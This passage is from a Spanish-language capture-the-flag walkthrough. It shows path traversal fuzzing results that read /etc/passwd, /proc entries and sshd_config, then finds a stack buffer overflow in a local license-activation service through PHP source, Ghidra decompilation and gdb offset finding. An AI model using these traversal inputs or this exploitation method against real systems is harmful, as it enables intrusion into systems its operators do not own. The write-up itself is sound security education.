&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 49ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 46ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 46ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 48ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../etc/passwd&amp;amp;=&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;3C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;3C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;3C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;3C [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 27ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/rpc [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1184&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/resolv.conf [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;52&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/ssh/sshd_config [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4452&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/net/dev [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;600&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 32ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/net/arp [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;208&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 37ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/cpuinfo [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3040&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 41ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/mounts [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1956&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 41ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/interrupts [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5576&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 41ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/loadavg [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;36&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 41ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/meminfo [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1892&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 41ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/net/route [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;512&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/net/tcp [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8800&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/self/cmdline [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;104&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 39ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/partitions [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;156&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 42ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/self/status [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1780&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 39ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/version [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;248&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 39ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/var/log/lastlog [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;390112&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 29ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/var/log/wtmp [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;15360&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 25ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/var/run/utmp [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1536&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;///////../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 25ms]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="activación-de-licencia-y-servicio-interno"&gt;Activación de licencia y servicio interno&lt;/h3&gt;
&lt;p&gt;Conseguimos el código de &lt;code&gt;beta.html&lt;/code&gt; y vemos un formulario que “activa la licencia”.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80bc-8ace-d7531d7bbc47.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El formulario envía información a un puerto local. Esto apunta a un binario/servicio que recibe y procesa ese “licensefile”.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat activate_liscence.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;(isset($_FILES[&lt;span style="color:#e6db74"&gt;&amp;#39;licensefile&amp;#39;&lt;/span&gt;])) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $license = file_get_contents($_FILES[&lt;span style="color:#e6db74"&gt;&amp;#39;licensefile&amp;#39;&lt;/span&gt;][&lt;span style="color:#e6db74"&gt;&amp;#39;tmp_name&amp;#39;&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $license_size = $_FILES[&lt;span style="color:#e6db74"&gt;&amp;#39;licensefile&amp;#39;&lt;/span&gt;][&lt;span style="color:#e6db74"&gt;&amp;#39;size&amp;#39;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (!$socket) { echo &lt;span style="color:#e6db74"&gt;&amp;#34;error socket_create()\n&amp;#34;&lt;/span&gt;; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (!socket_connect($socket, &lt;span style="color:#e6db74"&gt;&amp;#39;127.0.0.1&amp;#39;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1337&lt;/span&gt;)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;error socket_connect()&amp;#34;&lt;/span&gt; . socket_strerror(socket_last_error()) . &lt;span style="color:#e6db74"&gt;&amp;#34;\n&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; socket_write($socket, pack(&lt;span style="color:#e6db74"&gt;&amp;#34;N&amp;#34;&lt;/span&gt;, $license_size));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; socket_write($socket, $license);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; socket_shutdown($socket);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; socket_close($socket);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8035-b122-f028bb0d5115.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Efectivamente, el puerto está escuchando.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80f0-9b4c-c27bf883a742.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Hacemos &lt;code&gt;strings&lt;/code&gt; buscando credenciales, pero lo más relevante son referencias a sqlite3, y pinta a que aquí viene lo divertido: &lt;strong&gt;Buffer Overflow&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id="protecciones-del-binario"&gt;Protecciones del binario&lt;/h3&gt;
&lt;p&gt;Revisamos controles de seguridad.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8033-8c34-c35e12c2bf62.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Esto indica que no podemos ejecutar código desde el stack (NX). También vemos que los canaries no están activados, así que es viable un &lt;em&gt;stack-based buffer overflow&lt;/em&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="análisis-en-ghidra-el-bug"&gt;Análisis en Ghidra: el bug&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uint32_t msglen;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;char buffer [&lt;span style="color:#ae81ff"&gt;512&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sVar2 = read(sockfd,&amp;amp;msglen,&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (sVar2 == &lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;piVar3 = __errno_location();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pcVar4 = strerror(*piVar3);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;error(pcVar4);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;msglen = ntohl(msglen);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;printf(&lt;span style="color:#e6db74"&gt;&amp;#34;[+] reading %d bytes\n&amp;#34;&lt;/span&gt;,msglen);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sVar2 = read(sockfd,buffer,(ulong)msglen);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Este código es vulnerable porque &lt;code&gt;msglen&lt;/code&gt; está controlado por el usuario. Si enviamos un tamaño mayor que 512, &lt;code&gt;read()&lt;/code&gt; desbordará el &lt;code&gt;buffer&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Para continuar, tenemos que identificar el offset hasta el &lt;strong&gt;Saved RIP&lt;/strong&gt; (dirección de retorno). En x64, la dirección de retorno queda en la pila justo después de las variables locales, pero puede haber alineación, así que no asumimos que es exactamente 512.&lt;/p&gt;
&lt;h3 id="encontrar-el-offset-con-patrón"&gt;Encontrar el offset con patrón&lt;/h3&gt;
&lt;p&gt;Usamos &lt;code&gt;gdb&lt;/code&gt; y un patrón.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pattern create 600&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80c4-b66f-f82d3890c574.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El exploit para determinar el offset:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-800f-b547-e61ebe78a93f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El programa primero lee 4 bytes para saber cuánto mide el mensaje que vendrá después.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;len(msg)&lt;/code&gt;: calcula la longitud del patrón.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;p32(...)&lt;/code&gt;: empaqueta ese número en 4 bytes.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;endian='big'&lt;/code&gt;: coincide con el &lt;code&gt;ntohl&lt;/code&gt; del C (network order = big endian).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Al principio explota porque falta una base de datos.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-800c-930a-c3e868c90320.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Creamos una base de datos fake &lt;code&gt;license.sqlite3&lt;/code&gt; y ahora sí.&lt;/p&gt;
